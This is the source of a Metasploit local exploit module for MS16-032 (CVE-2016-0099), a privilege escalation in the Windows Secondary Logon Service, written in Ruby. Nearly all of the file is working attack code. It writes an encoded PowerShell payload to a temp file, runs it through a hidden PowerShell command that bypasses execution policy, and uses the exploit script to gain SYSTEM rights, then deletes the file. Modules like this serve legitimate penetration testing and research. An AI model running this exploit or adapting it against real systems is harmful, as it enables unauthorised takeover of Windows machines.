## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::File include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation', 'Description' => %q{ This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores. }, 'License' => BSD_LICENSE, 'Notes' => { 'Stability' => [], 'SideEffects' => [], 'Reliability' => [] }, 'Author' => [ 'James Forshaw', # twitter.com/tiraniddo 'b33f', # @FuzzySec, http://www.fuzzysecurity.com' 'khr0x40sh' ], 'References' => [ [ 'MSB', 'MS16-032'], [ 'CVE', '2016-0099'], [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ], [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html'] ], 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread' }, 'DisclosureDate' => '2016-03-21', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ # Tested on (32 bits): # * Windows 7 SP1 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 8 # * Windows 2012 [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write stdapi_sys_process_execute ] } } ) ) register_advanced_options( [ OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]), ] ) end def check unless session.platform == 'windows' # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end res = psh_exec 'if($([System.Environment]::ProcessorCount) -gt 1) { echo("true") }' unless res.include? 'true' vprint_error 'Target system has an insufficient number of processor cores' return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end # Exploit PoC from 'b33f' ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1') vprint_status("PS1 loaded from #{ps_path}") ms16_032 = File.read(ps_path, mode: 'rb') cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe' payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86 cmdstr.gsub!('System32', 'SYSWOW64') print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell') vprint_warning(cmdstr.to_s) end template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded) psh_payload = compress_script(psh_payload) @upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1' path = datastore['W_PATH'] || expand_path('%TEMP%') @upfile = "#{path}\\#{@upfile}" fd = session.fs.file.new(@upfile, 'wb') print_status("Writing payload file, #{@upfile}...") fd.write(psh_payload) fd.close psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}" # lpAppName ms16_032.gsub!('$cmd', "\"#{cmdstr}\"") # lpcommandLine - capped at 1024b ms16_032.gsub!('$args1', "\"#{psh_cmd}\"") end_flag = Rex::Text.rand_text_alphanumeric(32) ms16_032.gsub!('$end', end_flag) print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") error_msg = 'Compressed size may cause command to exceed ' error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end print_status('Executing exploit script...') cmd = expand_path('%windir%') if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 cmd += '\\Sysnative' else cmd += '\\System32' end cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\"" args = nil begin r = session.sys.process.execute(cmd, args, { 'Hidden' => true, 'Channelized' => true }) while (d = r.channel.read) print(d) break if d.include? end_flag end r.channel.close r.close print_good('Executed on target machine.') rescue StandardError print_error('An error occurred executing the script.') end end def cleanup rm_f(@upfile) print_good("Deleted #{@upfile}") end end